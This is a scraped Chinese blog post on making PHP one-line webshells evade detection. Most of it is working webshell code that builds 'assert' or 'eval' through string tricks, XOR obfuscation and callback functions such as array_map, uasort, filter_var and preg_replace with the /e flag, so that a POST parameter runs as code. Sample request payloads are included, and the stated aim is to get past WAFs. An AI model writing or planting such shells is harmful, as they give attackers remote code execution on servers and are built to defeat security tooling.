zoukankan      html  css  js  c++  java
  • 一句话木马免杀.md

    一句话木马

    php

    方法

    1. 字符串变形:

      substr(string, start, length)

      <?php 
          $a = 'a'.'s'.'s'.'e'.'r'.'t';
          $a($_POST['x']);
      ?>
         
      <?php 
          $a = substr('1a',1).'s'.'s'.'e'.'r'.'t';
          $a($_POST['x']);
      ?>    
      

      strtr(string, from, to)

      <?php 
          $a = strtr('azxcvt','zxcv','ssert');
          $a($_POST['x']);
      ?>   
      

      substr_replace(string, replacement, start, length)

      <?php 
          $a = substr_replace("asxxx","sert",2);
          $a($_POST['x']);
      ?>  
      

      trim(string, charlist)

      <?php 
          $a = trim(' assert ');
          $a($_POST['x']);
      ?>
      
    2. 函数绕过

      ​ 函数可以把敏感关键词当做参数传递

      <?php 
          function sqlsec($a){
              $a($_POST['x']);
          }
      
          sqlsec(assert);
      ?>
      
    3. 回调函数

      回调函数⼤部分都无法绕过 WAF 了

      call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

      <?php
          call_user_func('assert',$_POST['x']);
      ?>
      

      call_user_func_array ( callable $callback , array $param_arr )

      <?php
         call_user_func_array(assert,array($_POST['x']));
      ?>
      

      array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

      <?php
          array_filter(array($_POST['x']),'assert');
      ?>
          
       <?php
          $e = $_REQUEST['e'];
          $arr = array($_POST['pass'],);
          array_filter($arr, base64_decode($e));
      ?>
      

      array_map(myfunction,array1,array2,array3...)

      <?php
          $e = $_REQUEST['e'];
          $arr = array($_POST['pass'],);
          array_map(base64_decode($e), $arr);
      ?>
      

      array_walk(array,myfunction,parameter...)

      <?php
          function sqlsec($value,$key)
          {   
              $x = $key.$value;
              $x($_POST['x']);
          }
          $a=array("ass"=>"ert");
          array_walk($a,"sqlsec");
      ?>
          
      <?php 
        $e = $_REQUEST['e'];
        $arr = array($_POST['x'] => '|.*|e',);
          array_walk($arr, $e, '');
      ?>
      # payload: shell.php?e=preg_replace  相当于 preg_replace('|.*|e',$_POST['x'],'')
      # PHP 止中不止 preg_replace 函数可以执行 eval 的功能,还有下面几个类似的:
      # mb_ereg_replace ( string $pattern , string $replacement , string $string [, string $option = "msr" ] ) : string
      <?php 
          mb_ereg_replace('\d', $_REQUEST['x'], '1', 'e');
      ?>
      # mixed preg_filter ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
      <?php 
          preg_filter('|\d|e', $_REQUEST['x'], '2');
      ?>
       <?php 
          mb_eregi_replace('\d', $_REQUEST['x'], '1', 'e');
      ?>
      

      array_walk_recursive(array,myfunction,parameter...)

      <?php
          $e = $_REQUEST['e'];
          $arr = array($_POST['pass'] => '|.*|e',);
          array_walk_recursive($arr, $e, '');
      ?>
      

      array_reduce(array,myfunction,initial)

      array_reduce() 函数向用户自定义函数发送数组中的值,并返回一个字符串。

      <?php
          $e = $_REQUEST['e'];
          $arr = array(1);
          array_reduce($arr, $e, $_POST['x']);
      ?>
      # payload 
         e=assert&x=phpinfo();
      

      array_diff(array1,array2,array3...);

      array_diff() 函数返回两个数组的差集数组。该数组包括了所有在被比较的数组中,但是不在任何其他参数数组中的键值。在返回的数组中,键名保持不变。

      <?php
          $e = $_REQUEST['e'];
          $arr = array($_POST['x']);
          $arr2 = array(1);
          array_udiff($arr, $arr2, $e);
      ?>
          # payload e=assert&x=phpinfo();
      

      uasort(array,myfunction);

      uasort() 函数使用用户自定义的比较函数对数组排序,并保持索引关联(不为元素分配新的键)。如果成功则返回 TRUE,否则返回 FALSE。该函数主要用于对那些单元顺序很重要的结合数组进行排序。

      <?php
          $e = $_REQUEST['e'];
          $arr = array('test', $_REQUEST['x']);
          uasort($arr, base64_decode($e));
      ?>
      # payload e=YXNzZXJ0&x=phpinfo();
      <?php
         $arr = new ArrayObject(array('test', $_REQUEST['x']));
         $arr->uasort('assert');
      ?>
      

      uksort(array,myfunction);

      uksort() 函数通过用户自定义的比较函数对数组按键名进行排序。

      <?php
          $e = $_REQUEST['e'];
          $arr = array('test' => 1, $_REQUEST['x'] => 2);
          uksort($arr, $e);
      ?>
      # e=assert&x=phpinfo();	
      <?php
         $arr = new ArrayObject(array('test' => 1, $_REQUEST['x'] => 2));
         $arr->uksort('assert');
      ?>
      

      register_shutdown_function ( callable $callback [, mixed $... ] ) : void

      注册一个 callback ,它会在脚本执行完成或者 exit() 后被调用。

      <?php
          $e = $_REQUEST['e'];
          register_shutdown_function($e, $_REQUEST['x']);
      ?>
      

      register_tick_function ( callable $function [, mixed $arg [, mixed $... ]] ) : bool

      注册在调用记号时要执行的给定函数。

      <?php
          $e = $_REQUEST['e'];
          declare(ticks=1);
          register_tick_function ($e, $_REQUEST['x']);
      ?>
      

      filter_var(variable, filter, options)

      filter_var() 函数通过指定的过滤器过滤变量。

      <?php
          filter_var($_REQUEST['x'], FILTER_CALLBACK, array('options' => 'assert'));
      ?>
      

      filter_var_array(array, args)

      filter_var_array() 函数获取多项变量,并进行过滤。

      <?php
          filter_var_array(array('test' => $_REQUEST['x']), array('test' => array('filter' => FILTER_CALLBACK, 'options' => 'assert')));
      ?>
      

      register_tick_function ( callable $function [, mixed $... ] ) : bool

      注册在调用记号时要执行的给定函数。

      <?php
      $e = $_REQUEST['e'];
      declare(ticks=1);
      register_tick_function ($e, $_REQUEST['x']);
      ?>
      
    4. 异或

      <?php 
          $a = ('!'^'@').'s'.'s'.'e'.'r'.'t';
          $a($_POST['x']);
      ?>
      

    收集

    ​ 1. 异或

    <?php
        # $a = _POST
        $a="~+d()"^"!{+{}";
    	# $b = $_POST["a"]
    	$b=${$a}["a"];
    	# eval($_POST["a"]);
    	eval("".$b);
    ?>
    
  • 相关阅读:
    帮助智力障碍的可怜儿童
    PE556
    ZJOIDay2T1 BB题解
    CTSC2016游记
    再次被老爸钦点退役
    欧拉筛
    考据
    51nod 1020 逆序排列(动态规划)
    51nod 1186 质数检测(Miller-Rabin算法)
    大整数类模板
  • 原文地址:https://www.cnblogs.com/nsfoxer/p/14348032.html
Copyright © 2011-2022 走看看